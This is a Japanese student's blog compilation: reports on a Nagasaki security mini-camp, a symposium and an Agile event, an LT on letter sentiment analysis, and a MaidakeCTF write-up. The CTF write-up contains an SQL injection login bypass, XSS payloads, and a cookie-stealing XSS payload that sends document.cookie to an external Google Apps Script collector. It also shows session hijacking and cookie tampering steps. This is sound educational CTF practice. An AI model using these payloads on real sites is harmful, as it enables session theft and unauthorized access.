camera510PC7の栞

情報系学生のTips、ポエム、活動記録

セキュリティ・ミニキャンプin長崎に参加しました

概要

12月14日に長崎県立大学シーボルト校で開催されたセキュリティ・ミニキャンプin長崎の内容や感想をまとめました。

オープニング

会場は我が学科自慢のセキュリティ演習室で行われました。参加受付をして自分の班のテーブルに着きました。自分の班は同じ学科の先輩3名、高校生1名、他大学の学生1名でした。

オープニングでは午後の講義のための準備や技術者倫理についての話がありました。

IoTシステムのセキュリティを設計してみる

IoTシステムをどのように設計すればセキュアになるかを評価シートを用いながら考えるという講義でした。
講師の方から「IoTとはどんなものだと思うか」と訊かれて「最近では家庭だけでなく農業や漁業などいろんなところに使われているもの」という風に答えたらバイナリかるたがもらえました。

講義の中ではIoTのネットワークカメラにどのような機能を持たせ、どのようなネットワークを構築すればよいかということを考え、模造紙に書いて説明するということをしました。

昼食

昼食はウィズンの弁当でした。 他の参加者の方や講師の方と話しながら楽しく食べました。

Webアプリケーションフレームワークで学ぶ、Webセキュリティ

VirtualBoxの上のUbuntuにLaravelで構築されたやられWebアプリを起動させて脆弱性を見つけていくという講義でした。

今回使用したやられwebアプリ↓
github.com

二つのWebアプリケーションが用意されていて、最初はログイン画面にSQLインジェクション脆弱性があるのを見つけて、その脆弱性を修正するということをしました。

そしてもう一つの方は班で脆弱性を見つけて最後にどんなものがあったのかを発表するというものでした。自分はXSSを6つとディレクトリトラバーサルを1つ見つけました。

クロージング・会場移動

最後にアンケートに記入して一旦解散となりました。そのあと、後夜祭のためにCO-DEJIMAに移動しました。
移動はなんと県立大学のシャトルバスでした。(あのバス初めて乗った...)

後夜祭

後夜祭では他の参加者やチューターの方といろんな話をすることができました。

自分はLTをしたのですが、その内容は以下の記事にまとめています。
camera510pc7.hatenablog.com

こんな感じのLTをしました。

また、自分以外にチューターの方もLTをされていました。内容はハードウェアハッキングで、やはりレベルは高かったです。

感想

今回自分は初めてセキュリティ・ミニキャンプに参加しました。Webアプリケーションの講義では実際に脆弱性を修正するという貴重な体験ができたのでとても勉強になりました。(普段はCTFで脆弱性を探すことしかしないので...)
また、グループで話し合ってIoTセキュリティを考えるという講義も新鮮で面白かったです。

そして何よりいろいろな人(先輩、他大学の学生の方、高校生の方、講師の方...etc)とコミュニケーションが取れたことがとてもよかったです。

ぜひ来年も全国大会にエントリーしてみようと思います。(今年度は落選でした...)

「女学生の気持ちをPythonで可視化してみた」というLTの裏側

本記事は長崎県立大学 Advent Calendar 2019の21日目の記事です。

前の人の記事
kobayashi9.hatenadiary.com

概要

12月14日(土)に行われたセキュリティ・ミニキャンプin長崎後夜祭で僕が発表したLTの裏側、経緯について語ったものです。

発表したLT

すべての始まり

時はミニキャンプ当日の数週間前に遡ります。とある先生から「ミニキャンプの後夜祭でLTやるから何かネタを考えておいてね」と連絡がありました。

何をやろうかと悩んだのですが、ふと今読んでいる小説を見た時にあることを思い付きました。

その小説は乙女の港(川端康成、中里恒子 作)というものです。

乙女の港 (実業之日本社文庫 - 少女の友コレクション)

乙女の港 (実業之日本社文庫 - 少女の友コレクション)

詳しい内容は省きますが、この小説の中では女学生たち(特に上級生と下級生)が手紙をやり取りするシーンというのがよく出てきます。
このシーンを見た時に「当時の女学生は実際にどんな手紙をやり取りしていたのかな」と疑問に思い、いろいろ調べてみると国立国会図書館デジタルコレクションで当時の女学生の手紙をまとめている本が公開されていることを知りました。

dl.ndl.go.jp

こういった経緯から手紙を解析してみようとなりました。

解析するにあたって

形態素解析するにはテキストデータが必要になります。国立国会図書館デジタルコレクションからダウンロードできるのはPDFまたはJPEGしかありません。初めはGoogleDriveのOCR機能を使ってテキストデータ化しようと考えましたが、どうもうまくいきません。
原因として考えられるのは手紙が旧仮名遣いや旧字体で書かれているということです。

仕方がないので人力で文字起こしをしましたが、一部の旧字体は環境依存文字となっていて後述のプログラムに落とし込むとエラーで落ちてしまいました。なので環境依存文字となっている旧字体新字体に変換しました。

変換してもなかなか出てこない字もあり、入力作業は大変でした。

ネガティブ・ポジティブ判定について

今回は東工大の高村教授が公開されている単語感情極性対応表を使いました。

これをCSVに変換してプログラムに取り込みます。 f:id:camera510PC7:20191216180740p:plain

Pythonでプログラミング

【kashika.py】

【miyakonookatani.txt】

皆様此頃どうしてゐられます。私はお様子を聞きたくて仕方がありません。毎日さみしい机にもたれていらいらしてゐるのです。秋といふと皆様はどんなことをお考えあそばすでせう。私のほうはもうすっかり秋になりました。二三日中には稲も刈り入れるばかりになりました。私は、何故でせう。いくら秋になつても、冬になつても、じつと落ち着いてゐられません。いつも氣がせかせかして、ひまがあると近くの野を歩き廻るんです。野にはやさしい花も咲いてゐませう。蟲の音も聞こえませう、けれども私は、そんなもの少しも氣にとまらないのです。ただぼんやりわびしい日が渡つて行く空を眺めて、皆様のことばかり考えてゐるのです。この心持何と言つたら好いでせう。矢張秋の心持とでもいうのでせうか。
$ python3 kashika.py miyakonookatani.txt

という感じに実行します。

発表準備

スライドは当日の2~3日前に作りました。

LT前日に"一人当たり15分"という話を聞き、「どこがライトニングなんや」って突っ込んでました。

感想

セキュリティ・ミニキャンプの後夜祭なのにネタが1ミリもセキュリティと関連しておらず、最初はこのネタで本当に大丈夫かという不安や、数日前から気管支がやられててちゃんと喋れるかという不安がありましたが終わってみると好評だったようでとてもよかったです。
完全に自分の趣味で始めたことですが今回のネタをもっと発展させていければと思っています。
また、今回他大学の学生の方や社会人の方の前でLTをさせていただくというのはとても貴重な体験でした。本当にありがとうございました。

学部1年生がCSS2019のセッションを見聞きして感じたこと

概要

10月21日から4日間、ハウステンボスコンピュータセキュリティシンポジウム(CSS)2019が開催されていました。僕は2日目は学生バイト(Welcomeゲートの前の受付案内)として、3日目はジュニア会員として参加しました。

この塔がCSSの会場となっていました。
f:id:camera510PC7:20191106123616j:plain:w300

10月なのでハロウィン仕様のハウステンボスです。
f:id:camera510PC7:20191106123650j:plain:w300

f:id:camera510PC7:20191106123715j:plain:w300

夜のライトアップがとてもきれいでした。
f:id:camera510PC7:20191106123754j:plain:w300

聞いたセッション

感想

自分は今回、初めてこのような学会に参加したので会場の雰囲気がとても新鮮に感じました。まだまだ知識不足でセッションを聞いても自分で吸収して消化できるものはごくわずかしかありませんでしたが、「これからこんな事やあんな事を研究してみたい」という野心を抱くことができたのでとても有意義な時間を過ごすことができました。
またどのセッションを聞いても学部1年でやっている線形代数統計学の知識が出てきたので「今、とても大事な勉強をしているんだな」という実感がわきました。
反省点としては、どのセッションでも機械学習についての話が出てきたのでどういう仕組みでどんなことをしているのかを事前に具体的に知っておくべきだったなと思いました。

全体を通して、今回の参加は自分にとって大きなプラスになったと思います。これからもこういった機会を見つけて自分を成長させていければいいなと思います。

MaidakeCTF WriteUp

概要

Cyber研究会合宿2019に向けて行われたMaidakeCTFのWriteUpです。

Web

White Flag

真っ白なページが表示されます。
f:id:camera510PC7:20191012173235p:plain Ctrl + Aでページ内の文字を全選択するとフラグが現れます。
f:id:camera510PC7:20191012203716p:plain
Ctrl + Cでコピーします。(右クリック禁止、F12禁止なので) f:id:camera510PC7:20191012173323p:plain f:id:camera510PC7:20191012173333p:plain

MaidakeCTF{White_strings_can_be_seen_by_reversing}

2048

f:id:camera510PC7:20191012173428p:plain 自分は素直にゲームをやってフラグをゲットしましたが、ゲームをやらなくてもソースコードからフラグが確認できました(後でわかった) f:id:camera510PC7:20191012174636p:plain f:id:camera510PC7:20191012174822p:plain

MaidakeCTF{Do_not_be_fooled_the_look}

Baked goods

f:id:camera510PC7:20191012175108p:plain ページにアクセスするとクッキーのイラストが出てきます。これはブラウザのcookieを見ろということでしょうか。ブラウザのcookieを見てみるとフラグがありました。 f:id:camera510PC7:20191012175232p:plain

MaidakeCTF{Beware_of_cookie_theft}

Not hiding

f:id:camera510PC7:20191012175309p:plain ページ自体には何も書かれていないようなのでソースコードを見てみます。CSSが外部のファイルで指定してあるようです。このCSSのコードにアクセスするとフラグがありました。

MaidakeCTF{I_am_getting_tired_of_thinking_about_flags}

Usual

f:id:camera510PC7:20191012180558p:plain とりあえず適当なIDとパスワードを入力してみます。当たり前ですがはじかれます。
f:id:camera510PC7:20191012180614p:plain 次にSQLインジェクションができるかどうか試してみます。

' or 1=1 ; --

パスワードが入っていないとログインが押せない(フロントエンドでバリデーションしていある)ので適当にパスワードを打ち込み、ログインボタンを押します。
f:id:camera510PC7:20191012180633p:plain フラグが表示されました。 f:id:camera510PC7:20191012180645p:plain

MaidakeCTF{Speaking_of_SQL_injection_is_this}

XSS Alert

XSSであれば何でもよいということなので定番のアラートでやりました。 f:id:camera510PC7:20191012180813p:plain

<script>alert("XSS")</script>

フラグゲットです。
f:id:camera510PC7:20191012180904p:plain

MaidakeCTF{Escape_is_a_simple_but_important_process}

Agent

f:id:camera510PC7:20191012181116p:plain AgentがMilvasであれば良さそうなのでFireFoxの開発者ツールからAgentをMilvasに変更して再送信します。 f:id:camera510PC7:20191012181127p:plain

User-Agent:Milvas

応答のところを見るとフラグが表示されました f:id:camera510PC7:20191012181137p:plain

MaidakeCTF{Impersonating_user_agents_is_so_easy}

No form

f:id:camera510PC7:20191012181954p:plain パラメーターのoluriにso_cuteが入っていたらフラグが表示されるようです。自分はcurlでPOSTしました。

$curl -k -X POST -d 'oluri=so_cute' https://maidakectf2019.aokakes.work/problems/No_form/

フラグが表示されました。 f:id:camera510PC7:20191012182009p:plain

MaidakeCTF{If_the_configuration_of_the_website_is_bad_you_can_POST_without_the_form}

Maze

f:id:camera510PC7:20191012182539p:plain f:id:camera510PC7:20191012182623p:plain ソースコードを見てみるとこの辺りで矢印キーを押したときの処理をしているようです。どうやら変数xと変数yで座標の管理をしているようです。
開発者ツールのコンソールを開いて変数xと変数yがどんな値になっているか調べてみます。

alert(x);

f:id:camera510PC7:20191012182707p:plain

alert(y);

f:id:camera510PC7:20191013003957p:plain
これを書き換えればゴールできそうです。今回はxの値を30に変更してみます。 f:id:camera510PC7:20191012183642p:plain

x=30;

矢印キーを押してゴールまでたどり着けばフラグが表示されます。 f:id:camera510PC7:20191012183736p:plain

MaidakeCTF{If_you_implement_it_poorly_another_file_may_be_screwed_in}

Hijack

f:id:camera510PC7:20191012184117p:plain
ページの表示からは特に情報が得られないためソースコードを見てみます。 ソースコードの一番上に何やらコメントアウトされた文字列がありました。
f:id:camera510PC7:20191012184146p:plain
問題のタイトルから察するにこれがセッションIDなのだと思われます。開発者ツールを開いてPHPSESSIDをこれに書き換えてリロードします。
フラグが表示されました。
f:id:camera510PC7:20191012184159p:plain

MaidakeCTF{Session_manegement_must_be_done_with_care}

Haiku contest

f:id:camera510PC7:20191012185600p:plain とりあえず、適当にIDを作ってログインしてみます。
ログインすると俳句の投稿フォームが表示されました。
f:id:camera510PC7:20191012185623p:plain このフォームにどんな脆弱性があるのか調べます。まずXSSから調べていきたいと思います。 f:id:camera510PC7:20191012185638p:plain

<script>alert("XSS")</script>

f:id:camera510PC7:20191012185703p:plain
アラートが表示されたのでこのフォームにはXSS脆弱性があることが分かりました。
おそらく採点ボタンを押したときにサーバー側のcookieを盗むというものだと考えられます。

まず、外部からアクセスできるサーバーを準備します。今回はGoogle Apps Scriptを使います。
Google Apps Scriptのプログラムを書きます。

function doGet(e) {
  var html = '';
  html += e.parameter.a + '</p>';
  console.log(e);
  var id = "スプレッドシートのID";  
  var spreadSheet = SpreadsheetApp.openById(id);  
  var sheetName = "シート名";
  
  spreadSheet.getSheetByName(sheetName).appendRow(
    [new Date(), e]);
  return HtmlService.createHtmlOutput(html);
}

パラメータaに入力するとそれがスプレッドシートに出力されるようになっています。 このプログラムをウェブアプリとしてアクセスできるようにしておきます。 次にXSSで挿入するコードを作成します。

<script>location.href="https://script.google.com/macros/s/xxxxxxxxxxxx/exec?a="+document.cookie</script>

※URLは一部マスクしてあります。
これで準備完了です。あとはフォームにXSSすればスプレッドシートにフラグが表示されます。
f:id:camera510PC7:20191012185728p:plain ただし、なぜかGoogle Apps Scriptでやるとうまくフラグがかえって来ない時が多いのでお勧めしません。

MaidakeCTF{If_you_do_not_escape_properly_cookies_can_be_easily_stolen}

QR

A littele missing QR

f:id:camera510PC7:20191012185748p:plain
QRコードの切り出しシンボルが取れているので、これをペイントで補填してあげてから読み取るだけです。
f:id:camera510PC7:20191012185803p:plain

MaidakeCTF{restoring_qr_code_corners_is_easy}

white or black

0と1が書かれたCSVファイルが渡されます。
f:id:camera510PC7:20191012192305p:plain 0の部分がQRコードの白い部分、1の部分がQRコードの黒い部分と対応しているので、このファイルをExcelで開いて条件付き書式で色を付けていき、セルが正方形になるように大きさを調節します。
f:id:camera510PC7:20191012192320p:plain
これを読み取るとフラグが表示されます。

MaidakeCTF{If_you_do_not_escape_properly_cookies_can_be_easily_stolen}

Three codes

f:id:camera510PC7:20191012192609p:plain
このサイトでグレースケール2色にして変換して読み込んでみると「Second:Images_can_be_」という文字列が現れました。これはタイトルからもわかる通りRGBごとにQRコードがあるものだと推測できます。
ということでこの画像をうさ耳ハリケーンの青い空を見上げればいつもそこに白い猫で解析してみます。ステガノグラフィー解析から「赤のみ抽出」「緑のみ抽出」「青のみ抽出」しそれぞれ読み込みそれらをつなげるとフラグが表示されます。

f:id:camera510PC7:20191012193446p:plain
f:id:camera510PC7:20191012193500p:plain
f:id:camera510PC7:20191012193514p:plain

MaidakeCTF{Images_can_be_represented_in_RGB}

QR Puzzle , QR Puzzle 2nd , QR Puzzle 3rd

f:id:camera510PC7:20191012194340p:plain
3問とも同じ解き方です。CSSのbackground:url()に画像のパスが入っているので画像に直リンして保存します。あとはGIMPでひたすらジグソーパズルをやるだけです。パズルをやるときのポイントとしては先に切り出しシンボル、タイミングパターン、余白からわかる端の部分を並べておくことです。

f:id:camera510PC7:20191012195600p:plain

QR Puzzle

MaidakeCTF{QR_code_slide_puzzles_are_very_very_difficult}

QR Puzzle 2nd

MaidakeCTF{It_becomes_more_difficult_when_it_comes_to_16_slide_puzzles}

QR Puzzle 3rd

MaidakeCTF{It_can_no_longer_be_solved_manually_so_we_should_rely_on_machine_power}

Misc

Welcome

表示されたフラグを入力するだけです

Hex

フラグが16進数で書かれているのでそれを文字にデコードするだけです。
以下のコードはPythonです

with open("flag") as f:
    s = f.read()
ans = bytes.fromhex(s).decode("utf-8")
print(ans)
MaidakeCTF{Hexadecimal_numbers_are_frequently_used_in_this_industry}

String line

ページにアクセスするとバーコードが表示されるためこれを読み取ればフラグが表示されます。

MaidakeCTF{We_can_use_alphanumeric_symbols_in_code128}

Turtle speed

ソースコードを見ると右から左に流れてくるのはモールス信号だとわかります。モールス信号を欧文と記号で復元すればフラグが手に入ります。以下コードはPythonです。

flag = "ーー ・ー ・・ ー・・ ・ー ー・ー ・ ー・ー・ ー ・・ー・ ー・ーー・ ・ーー・ ・ ーーー ・ーー・ ・ー・・ ・ ・・ーー・ー ・ーー ・・・・ ーーー ・・ーー・ー ー・ー・ ・ー ー・ ・・ーー・ー ・・ー ー・ ー・・ ・ ・ー・ ・・・ ー ・ー ー・ ー・・ ・・ーー・ー ーー ーーー ・ー・ ・・・ ・ ・・ーー・ー ー・ー・ ーーー ー・・ ・ ・・ーー・ー ・ーーー ・・ー ・・・ ー ・・ーー・ー ー・・・ ー・ーー ・・ーー・ー ・・・ ーーー ・・ー ー・ ー・・ ・・ーー・ー ・ー ・ー・ ・ ・・ーー・ー ・ー ーー ・ー ーー・・ ・・ ー・ ーー・ ー・ーー・ー"
flag_split = flag.split()
dic = {"・ー": "a","ー・・・": "b","ー・ー・": "c","ー・・": "d","・": "e","・・ー・": "f","ーー・": "g","・・・・": "h","・・": "i","・ーーー": "j","ー・ー": "k","・ー・・": "l","ーー": "m","ー・": "n","ーーー": "o","・ーー・": "p","ーー・ー": "q","・ー・" :"r","・・・": "s","ー": "t","・・ー": "u","・・・-": "v","・ーー": "w","ー・・ー": "x","ー・ーー": "y","ーー・・": "z","・ー・ー・ー": ".","・ーーーー・": "'","ー・ーー・": "(","ー・ーー・ー": ")","・・ーー・ー":"_"}
ans = []
for i in flag_split:
    ans.append(dic[i])
print(''.join(ans))
MaidakeCTF(people_who_can_understand_morse_code_just_by_sound_are_amazing)

Condensed Image

f:id:camera510PC7:20191012195639g:plain
gifアニメーションでフラグが表示されていますが、アニメーションが速すぎて読めません。GIMPにインポートするとコマの一枚一枚が確認できます。
f:id:camera510PC7:20191013000444p:plain

MaidakeCTF{gif_has_more_than_one_picture_concatenated}

Let't Janken

f:id:camera510PC7:20191012200934p:plain
プログラムを見ると1000連勝すればフラグがゲットできるようです。また連勝数はブラウザのcookieに書き込まれているようなので、開発者ツールからcookieを1000以上の値に書き換えて「グー」「チョキ」「パー」のいずれかを押すとフラグが表示されます。
f:id:camera510PC7:20191012202133p:plain
f:id:camera510PC7:20191012202158p:plain

MaidakeCTF{button_mashing_is_not_the_right_solution}

Teleport

どうやらlatitude : 32.7526235、longitude : 129.8495163のところに行けばフラグが表示されるようです。Google Mapで調べると稲佐山展望台です。
まぁ実際行こうと思えば行ける場所ではありますが面倒なのでスマホのアプリで偽の位置情報を送信します。今回はfakeGPSというアプリを使いました。
f:id:camera510PC7:20191012202927p:plain

f:id:camera510PC7:20191012202942p:plain

f:id:camera510PC7:20191012202951p:plain

フラグが表示されました。

MaidakeCTF{Falsifying_coordinates_is_surprisingly_easy}

問題文にもあったように夜景がめちゃきれいです。
f:id:camera510PC7:20191012234100j:plain

Forensics

Unzip

zipファイルをダウンロードして、問題のタイトルにもなっているUnzipコマンドで展開するとパスワードが聞かれます。
分からないのでそのままエンターキーを押すと展開されたフォルダに"UGFzc3dvcmQgaXMgWXFna0dQdkJET0dnWiVxdEZMOFZlUEpmQkdmTTNSQ2djUDVVRiFjVlJCeG9zT0pPZXJV"という名前のファイルができます。
f:id:camera510PC7:20191012235206p:plain
fileコマンドで調べてみると空ファイルのようです。
f:id:camera510PC7:20191012235219p:plain
このファイル名をbase64でデコードするとPassword is YqgkGPvBDOGgZ%qtFL8VePJfBGfM3RCgcP5UF!cVRBxosOJOerU という文字列が出てきました。
YqgkGPvBDOGgZ%qtFL8VePJfBGfM3RCgcP5UF!cVRBxosOJOerU をunzipの時のパスワードに入力するとflagフォルダの中にflag.txtが現れ、この中にフラグがありました。

MaidakeCTF{We_can_tell_what_files_are_included_without_unpacking}

Meta

JPEGファイルのようです。問題タイトルからメタデータに何かかかれているのでしょう。今回はstringsコマンドで調べてみます。

$strings problem.jpg | grep MaidakeCTF

フラグが出てきました。

MaidakeCTF{The_sound_of_the_waterfall_heals_my_mind}

Magic

PDFファイルのようです。GoogleChromeでは開けませんが、なぜかUbuntuのデフォルトのビュアーでは普通に開けます。このPDFファイルにフラグが書かれていました。
f:id:camera510PC7:20191012235718p:plain

MaidakeCTF{Forging_a_magic_number_is_easy}

Stupid picture

真っ白なPNGファイルが渡されます。GIMPで開いて色レベルの変更をしてみます。明度、赤、緑、青すべての入力レベルを上げることでフラグが出現します。
f:id:camera510PC7:20191013000137p:plain

MaidakeCTF{It_is_stupid_to_write_a_strings_in_white_on_a_white_background}

Another Image

PNG画像が渡されます。うさ耳ハリケーンの青い空を見上げればいつもそこに白い猫で解析してみます。ファイル・データ抽出で内包ファイル・データ検索をしてみるとフラグが書かれたJPEGファイルが出現します。
f:id:camera510PC7:20191013001021p:plain

MaidakeCTF{Marigold_is_cute}

Crypto

Is this cipher

flag.txt

TWFpZGFrZUNURntiYXNlNjRfaXNfbm90X2FfY2lwaGVyfQ==

使われている文字の種類や最後にイコールがあることからBase64であることが分かります。これをデコードしたらフラグが出てきました。

MaidakeCTF{base64_is_not_a_cipher}

Easy crypto

flag.txt

ZnvqnxrPGS{Pnrfne_rapelcgvba_vf_rnfl_gb_penpx}

パッと見フラグ形式と同じように見えます。これはシーザー暗号だと思われるので暗号生成ツール『暗号くん』で解読してみます。まずはROT13で有名な13文字ずらしからやってみます。

出てきた文字列の大文字小文字を修正すればフラグとなります。

MaidakeCTF{Caesar_encryption_is_easy_to_crack}

Old Input

flag.txt

6↑2444325533222↑8↑333↑{444↑66788→8_2224427772→222833777→7777_666→66_333→3328→8877733_744666→66337777_4447777_87776668822555337777666→633}

どうやらトグル入力でフラグが書かれているようです。これを解読すれば良さそうです。今回はPythonで解読してみました。

with open("flag.txt") as f:
    flag = f.read()
temp = list(flag)
temp2 = []
a = ["a","b","c"]
d = ["d","e","f"]
g = ["g","h","i"]
j = ["j","k","l"]
m = ["m","n","o"]
p = ["p","q","r","s"]
t = ["t","u","v"]
w = ["w","x","y","z"]
count = 0
for i in range(len(flag)):
    if flag[i] == "}":
        temp2.append("}")
        break
    if flag[i] != flag[i+1]:
        if flag[i] == "2":
            temp2.append(a[count])
        elif flag[i] == "3":
            temp2.append(d[count])
        elif flag[i] == "4":
            temp2.append(g[count])
        elif flag[i] == "5":
            temp2.append(j[count])
        elif flag[i] == "6":
            temp2.append(m[count])
        elif flag[i] == "7":
            temp2.append(p[count])
        elif flag[i] == "8":
            temp2.append(t[count])
        elif flag[i] == "9":
            temp2.append(w[count])
        elif flag[i] == "↑" or flag[i]== "→":
            continue
        elif flag[i] == "{":
            temp2.append("{")
        elif flag[i] == "_":
            temp2.append("_")
        count = 0
    else:
        count += 1

print("".join(temp2))

途中から「もうこれ、素直にスマホにトグル入力したほうが早いんじゃないか」と思いながらもなんとかPythonを書き上げました。
上記を実行してflag.txtの上矢印のところを大文字に変更すればフラグになります。

MaidakeCTF{Input_characters_on_feature_phones_is_troublesome}

Kancolle hash

problem .py

#coding: utf-8
kancolle_server = ['横須賀鎮守府','呉鎮守府','佐世保鎮守府','舞鶴鎮守府','大湊警備府','トラック泊地','リンガ泊地','ラバウル基地','ショートランド泊地','ブイン基地','タウイタウイ泊地','パラオ泊地','ブルネイ泊地','単冠湾泊地','幌筵泊地','宿毛湾泊地','鹿屋基地','岩川基地','佐伯湾泊地','柱島泊地']

md5_server = [hashlib.md5(server.encode()).hexdigest() for server in kancolle_server]

key = 0
for md5 in md5_server:
    for moji in md5:
        key += ord(moji)

enc_flag = ''

for moji in FLAG:
    to_ord = key // ord(moji)
    enc_flag += chr(to_ord)

with open('result.txt', 'w') as f:

    f.write(enc_flag)

とりあえず、Keyの値がいくつになるのか調べてみます。enc_flag = ''の前にprint(key)とすると44321と表示されました。ということでこの逆のプログラムを書けば良さそうです。以下Pythonです。

with open('result.txt') as f:
    result =list(f.read())
key = 44321
temp = []
for i in result:
    temp.append(ord(i))
flag = []
for i in temp:
    flag.append(int( key // i))
ans = ''
for i in flag:
    ans += chr(i)
print(ans)
MaidakeCTF{I_love_kancolle_and_I_will_die_when_its_gone}

SHA-1 collision

問題文からSHA-1のハッシュ衝突の問題だとわかります。「SHA-1 ハッシュ衝突」とググってみると以下のサイトが見つかります。
f:id:camera510PC7:20191013001210p:plain

このサイトから二種類のPDFファイルをダウンロードして、問題のページにアップロードすればフラグが表示されます。

MaidakeCTF{It_is_a_little_hard_to_create_a_file_where_SHA-1_collides}

Network

Weak communication

pcapngをダウンロードしてWiresharkで開きます。
明らかに怪しそうなパケットがあるのでこれを調べてみるとフラグがありました。
f:id:camera510PC7:20191013001533p:plain

MaidakeCTF{Wireshark_is_very_useful}

See-through Auth

pcapngをダウンロードしてWiresharkで開きます。
さっきの問題よりもパケットが多くて見づらいのでhttpでフィルターをかけてみます。
f:id:camera510PC7:20191013002221p:plain
一回目のアクセスでは401 Unauthorizedが返ってきてるのでもしかして/problems/http/See-through_Authには何かしらの認証がかかってるのではないかと予想できます。
二つ目のGETパケットを見てみます。
Full request URIに書かれているページにアクセスすると、予想通りBasic認証がかかっていました。
ここでもう一度パケットを見てみます。Authorizationの部分を見てみると
f:id:camera510PC7:20191013002302p:plain

Credentials: oluri:xYwQp2ZCqBfMs2uBd7XhL5ccjgJT2FhrqWFPux6x

とあります。Basic認証の場合、ユーザ名:パスワードの形になるので、先ほどのページにユーザ名oluri、パスワードxYwQp2ZCqBfMs2uBd7XhL5ccjgJT2FhrqWFPux6xでログインしてみます。
するとフラグが現れました。

MaidakeCTF{Basic_authentication_is_easy_to_implement_but_there_are_various_problems}

From oluri

pcapngをダウンロードしてWiresharkで開きます。
httpでフィルターをかけます。どうやらオオルリからのメッセージはwaveファイルのようです。
f:id:camera510PC7:20191013003335p:plain
このパケットを選択して ファイル > オブジェクトをエクスポート > HTTP を選択します。そうするとパケットからwaveファイルが抽出できます。
f:id:camera510PC7:20191013003241p:plain
このwaveファイルを再生するとオオルリがフラグをしゃべります。

MaidakeCTF{Wireshark_can_export_files_exchanged_during_communication}

Image?

f:id:camera510PC7:20191013003410p:plain
問題の画像をうさ耳ハリケーンの青い空を見上げればいつもそこに白い猫で解析してみます。ステガノグラフィー解析で赤色ビットのみ抽出してバイナリで表示してみます。
f:id:camera510PC7:20191013003459p:plain
そうするとパケットが出現します。このバイナリを保存してWiresharkで開いてみます。
このパケットを見てみます。
f:id:camera510PC7:20191013003548p:plain
どうやら http://ctf.server-boujin.net/flag.php にアクセスしています。ここにブラウザでアクセスするとInvalid User-Agentと表示されます。
もう一度パケットを見てみるとcurlでアクセスした形跡があります。
curlからアクセスしてみます。
今度はInvalid Costum Parameter of Headerと表示されました。

もう一度パケットを確認してみます。
するとX-My-Will: I_want_th3_f1ag_!\r\nというパラメータが見つかりました。

ということでcurlでこのパラメータをPOSTしてみます。

$curl -H 'X-My-Will:I_want_th3_f1ag_!' http://ctf.server-boujin.net/flag.php

フラグが表示されました。

MaidakeCTF{Can_U_Und3rstand_th3_Image_of_Binari3s_?}

Prigramming

Only reserved words

Perlソースコードをダウンロードして、実行するだけでフラグが表示されました。

MaidakeCTF{ppencode_consists_only_of_perl_reserved_words}

Calculator

nc maidakectf2019.aokakes.work 15410

でサーバにアクセスすると50問の計算問題が表示されます。これを解け切ればフラグが表示されるようです。手動で計算・入力するのは面倒なのでPythonを書きます。

import socket
import re
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('maidakectf2019.aokakes.work',15410))
data = s.recv(256)
for i in range(50):
    data = s.recv(256)
    formula = re.sub(r"[a-z\\\\''>>]","",str(data)).split(' ')
    print(formula)
    if formula[1] == "+":
        ans =int(formula[0]) + int(formula[2])
    elif formula[1] == "-":
        ans = int(formula[0]) - int(formula[2])
    elif formula[1] == "*":
        ans = int(formula[0]) * int(formula[2])
    elif formula[1] == "/":
        ans = int(formula[0]) / int(formula[2])
    print(str(ans))
    s.send(str(ans).encode())
data = s.recv(256)
print(data)

これを実行するとフラグが表示されます。

何気にソケット通信するプログラムは初めて書いた... f:id:camera510PC7:20191013005109p:plain

MaidakeCTF{It_is_also_possible_to_calculate_it_by_yourself}

Calculator 2nd

Calculatorのプログラムを改造します。今回の場合は問題が何問あるかわからないのでwhile(True)で無限ループさせてフラグが表示されたらbreakさせています。
また問題文の最初に「答えは整数で」と書かれているので割り算を切り捨て除算に変更します。

import socket
import re
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('maidakectf2019.aokakes.work',17270))
data = s.recv(256)
while(True):
    data = str(s.recv(256))
    if data.find('MaidakeCTF') != -1:
        break
    formula = re.sub(r"[a-z\\\\''>>]","",str(data)).split(' ')
    print(formula)
    if formula[1] == "+":
        ans =int(formula[0]) + int(formula[2])
    elif formula[1] == "-":
        ans = int(formula[0]) - int(formula[2])
    elif formula[1] == "*":
        ans = int(formula[0]) * int(formula[2])
    elif formula[1] == "/":
        ans = int(formula[0]) // int(formula[2])
    print(str(ans))
    s.send(str(ans).encode())
print(data)

これを実行するとフラグが出てきます。
f:id:camera510PC7:20191013005215p:plain

MaidakeCTF{The_machine_gives_accurate_answers_even_if_the_calculation_is_complicated}

Reversing

String

ダウンロードしてきたファイルにstringsをしてみます。

$strings flag | grep MaidakeCTF

フラグが出てきました。

MaidakeCTF{It_is_a_promise_to_execute_strings}

Watchword

問題ファイルをstringsしてみます。
どうやら「Please enter watchword.」のところで合言葉を訊かれて、「Milvas」と入力すれば良さそうです。

$ ./problem 
Please enter watchword.
>> Milvas
Correct!!
MaidakeCTF{We_have_to_devise_various_things_when_you_confirm_the_password}

フラグが出てきました。

感想

終結果は全体で18位、Cyber研究会内で2位でした。同期に負けてしまったのは悔しかったですが楽しく問題を解くことができたのでよかったです。

Agile Japan 2019 長崎サテライト with NaITE に参加してきました

概要

7月27日にCO-DEJIMAで行われたAgile Japan 2019 長崎サテライト with NaITEに参加したときのレポートです。

参加の経緯

サークルの先輩から長崎でAgileについて学べるイベントがあるという情報を手に入れたのが参加のきっかけです。この機会にAgileについて詳しく学び、将来的にはサークルで何か開発するときにAgileを導入できればいいなぁという思いで参加しました。

内容

受付

受付では名札とAgile新聞をもらいました。
f:id:camera510PC7:20190803212709j:plain:w400
また、開始前にAgileJapanのステッカーも貰いました。 f:id:camera510PC7:20190803212738j:plain:w400

オープニングセッション・アイスブレイクセッション

オープニングセッションではこのイベントでのルール説明、アイスブレイクセッションでは自己紹介とこのイベントに参加した動機を同じテーブルになった方と共有しました。

Agile Japan 2019 基調講演(録画上映)

見聞きした内容は公開しないでくださいと言われているので詳細なことは書けませんが、Agileの導入事例、Agileにとってどんな考え方が必要かというお話でした。

Agile Japan 2019 参加レポート

テーマ:アジャイルでつなぐビジネスとIT
例) Windowsがパッケージ売りからアップデート型になったようにビジネスにもAgileの考え方を導入していく

初参加が7~8割

モブプログラミングもあった

グラフィックレコード(セッション内容を絵にして残していく)をしていた

なぜ始まらない?アジャイル開発 アジャイルコーチと考える組織改革

アジャイルコーチを依頼した側と依頼された側でどうだったかというお話

参加者からのQ&Aで進行していた。
Q&Aでは

  • コーチ料金
  • スクラムのイベントの日
  • メンバ間の認識の調節
  • 他チームへの展開の方法

などが上がっていた

アジャイル開発におけるITベンダーメーカーの品質保証・検査の取り組み

